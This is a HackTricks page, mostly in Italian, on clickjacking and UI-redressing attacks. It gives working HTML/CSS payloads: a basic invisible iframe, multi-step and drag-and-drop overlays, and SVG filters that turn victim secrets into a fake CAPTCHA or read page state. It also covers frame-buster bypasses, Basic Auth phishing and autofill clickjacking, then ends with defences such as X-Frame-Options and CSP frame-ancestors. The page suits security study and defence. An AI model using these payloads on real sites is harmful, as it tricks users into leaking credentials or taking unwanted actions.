Clickjacking

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cos’è Clickjacking

In a clickjacking attack, a user is tricked into clicking an element on a webpage that is either invisible or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.

Trucco per precompilare i moduli

A volte è possibile riempire il valore dei campi di un modulo usando parametri GET al caricamento di una pagina. Un attacker può abusare di questo comportamento per compilare un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l’utente prema il pulsante Submit.

Popolare un form con Drag&Drop

Se hai bisogno che l’utente compili un form ma non vuoi chiedergli direttamente di inserire informazioni specifiche (come l’email e/o una specific password che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che scriverà i dati controllati da te come in this example.

Payload di base

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload multifase

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un XSS che richiede all’utente di cliccare su qualche elemento per innescare l’XSS e la pagina è vulnerabile al clickjacking, puoi abusarne per indurre l’utente a cliccare il pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell’account (dettagli che solo tu puoi impostare e leggere). La pagina con il form per impostare questi dettagli è vulnerabile al Clickjacking e puoi precompilare il form con i parametri GET.
Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina precompilando il form con il payload XSS e inducendo l’utente a inviare il form. Quindi, quando il form viene inviato e i valori sono modificati, l’utente eseguirà l’XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Questa tecnica permette di ingannare l’utente a cliccare in un singolo punto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l’attaccante deve trovare azioni sensibili che possono essere effettuate con un solo clic, come le prompt OAuth che accettano permessi.

SVG Filters / Cross-Origin Iframe UI Redressing

Le build moderne di Chromium/WebKit/Gecko permettono che il CSS filter:url(#id) sia applicato a cross-origin iframes. I pixel rasterizzati dell’iframe vengono esposti al grafo di filtri SVG come SourceGraphic, quindi primitive come feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, ecc. possono deformare arbitrariamente la UI della vittima prima che l’utente la veda, anche se l’attaccante non tocca mai il DOM. Un semplice filtro in stile Liquid-Glass appare così:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitive utili: feImage carica bitmap dell’attaccante (e.g., overlays, displacement maps); feFlood costruisce maschere a colore costante; feOffset/feGaussianBlur affina i punti luce; feDisplacementMap rifrange/deforma il testo; feComposite operator="arithmetic" implementa operazioni aritmetiche per canale arbitrario (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), sufficiente per aumentare il contrasto, mascheramento e operazioni AND/OR; feTile ritaglia e replica sonde di pixel; feMorphology ingrandisce/ristretta i tratti; feColorMatrix sposta la luma nell’alpha per costruire maschere precise.

Distorsione dei segreti in prompt in stile CAPTCHA

Se un endpoint inseribile in un frame rende visibili segreti (tokens, reset codes, API keys), l’attaccante può distorcerli in modo che somiglino a un CAPTCHA e costringere alla trascrizione manuale:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

Ricontextualizzare gli input della vittima

I filtri possono rimuovere chirurgicamente il testo di placeholder/validazione mantenendo però le battute dell’utente. Un possibile flusso di lavoro:

  1. feComposite operator="arithmetic" k2≈4 amplifica la luminosità in modo che il testo di aiuto grigio si saturi verso il bianco.
  2. feTile limita l’area di lavoro al rettangolo dell’input.
  3. feMorphology operator="erode" ingrossa i glifi scuri digitati dalla vittima e li memorizza con result="thick".
  4. feFlood crea una base bianca, feBlend mode="difference" con thick, e un secondo feComposite k2≈100 la trasforma in una netta luma matte.
  5. feColorMatrix sposta quella luma nell’alpha, e feComposite in="SourceGraphic" operator="in" mantiene solo i glifi inseriti dall’utente.
  6. Un altro feBlend in2="white" più un sottile ritaglio produce una casella di testo pulita, dopodiché l’attaccante sovrappone le proprie etichette HTML (es., “Enter your email”) mentre l’iframe nascosto continua a imporre la password policy dell’origine della vittima.

Safari ha difficoltà con feTile; lo stesso effetto può essere riprodotto con matte spaziali costruite con feFlood + feColorMatrix + feComposite per payload solo WebKit.

Sonde di pixel, logica e macchine a stati

Ritagliando una regione di 2–4 px con feTile e tassellandola al 100% del viewport, l’attaccante trasforma il colore campionato in una texture a schermo intero che può essere convertita in una maschera booleana tramite soglia:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Per colori arbitrari, un riferimento feFlood (p.es., #0B57D0) più feBlend mode="difference" e un altro composite aritmetico (k2≈100, k4 come tolleranza) producono bianco solo quando il pixel campionato corrisponde alla tonalità target. Alimentando queste maschere in feComposite con k1..k4 tarati si ottengono porte logiche: AND tramite k1=1, OR tramite k2=k3=1, XOR tramite feBlend mode="difference", NOT tramite blending contro il bianco. Concatenando le porte si costruisce un full adder all’interno del grafo del filtro, dimostrando che la pipeline è funzionalmente completa.

Attackers possono quindi leggere lo stato della UI senza JavaScript. Esempi di booleani da un modal workflow:

  • D (dialog visibile): sondare un angolo scurito e testare contro il bianco.
  • L (dialog caricato): sondare le coordinate dove appare il bottone una volta pronto.
  • C (checkbox selezionata): confrontare il pixel della checkbox con il blu attivo #0B57D0.
  • R (red success/failure banner): usare feMorphology e soglie sul rosso all’interno del rettangolo del banner.

Ogni stato rilevato abilita un diverso bitmap di overlay incorporato via feImage xlink:href="data:...". Mascherare quei bitmap con D, L, C, R mantiene gli overlay sincronizzati con il dialog reale e guida la vittima attraverso flussi di lavoro multi-step (reset di password, approvazioni, conferme distruttive) senza mai esporre il DOM.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Una volta che la risposta arriva, il browser richiede le credenziali anche se i popup sono disabilitati. Framing di un’origine trusted con questo trucco abilita UI redress/phishing: prompt modali inattesi all’interno di un widget “sandboxed” possono confondere gli utenti o indurre i password managers a proporre credenziali memorizzate.

Browser extensions: DOM-based autofill clickjacking

Oltre all’iframing di pagine vittima, gli attaccanti possono prendere di mira elementi UI delle estensioni del browser iniettati nella pagina. I password manager rendono dropdown di autofill vicino agli input focalizzati; focalizzando un campo controllato dall’attaccante e nascondendo/occludendo il dropdown dell’estensione (trucchi di opacity/overlay/top-layer), un click coercitivo dell’utente può selezionare un elemento memorizzato e inserire dati sensibili in input controllati dall’attaccante. Questa variante non richiede esposizione in iframe e funziona interamente tramite manipolazione DOM/CSS.

Strategies to Mitigate Clickjacking

Client-Side Defenses

Gli script eseguiti lato client possono eseguire azioni per prevenire Clickjacking:

  • Assicurarsi che la finestra dell’applicazione sia la finestra principale o la top window.
  • Rendere visibili tutti i frame.
  • Impedire click su frame invisibili.
  • Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.

Tuttavia, questi frame-busting scripts possono essere elusi:

  • Impostazioni di sicurezza del browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto per JavaScript.
  • HTML5 iframe sandbox Attribute: Un attaccante può neutralizzare i frame buster scripts impostando l’attributo sandbox con i valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all’iframe di verificare se è la top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Difese lato server

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può incorniciare il contenuto.
  • X-Frame-Options: sameorigin - Solo il sito corrente può incorniciare il contenuto.
  • X-Frame-Options: allow-from https://trusted.com - Solo l’uri specificato può incorniciare la pagina.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP è il metodo consigliato per la protezione contro il Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Per esempio, la seguente CSP permette il framing solo dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli ed esempi complessi sono disponibili nella frame-ancestors CSP documentation e nella Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire Clickjacking e altri code injection attacks specificando quali sorgenti il browser deve consentire per caricare contenuti.

frame-src Directive

  • Definisce le sorgenti valide per i frame.
  • Più specifica rispetto alla direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questa policy permette frame dalla stessa origine (self) e https://trusted-website.com.

child-src Direttiva

  • Introdotta in CSP livello 2 per impostare le sorgenti valide per i web workers e i frame.
  • Funziona come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questa policy consente frames e workers dalla stessa origine (self) e https://trusted-website.com.

Usage Notes:

  • Deprecation: child-src è in fase di eliminazione a favore di frame-src e worker-src.
  • Fallback Behavior: Se frame-src è assente, child-src viene usato come fallback per i frame. Se entrambi sono assenti, viene usato default-src.
  • Strict Source Definition: Includere solo sorgenti attendibili nelle direttive per prevenire abusi.

JavaScript Frame-Breaking Scripts

Sebbene non completamente infallibili, gli script JavaScript-based frame-busting possono essere usati per impedire che una pagina web venga inserita in un frame. Esempio:

if (top !== self) {
top.location = self.location
}

Impiego dei token Anti-CSRF

  • Validazione del token: Usare anti-CSRF tokens nelle applicazioni web per garantire che le richieste che cambiano lo stato siano effettuate intenzionalmente dall’utente e non tramite una pagina Clickjacked.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks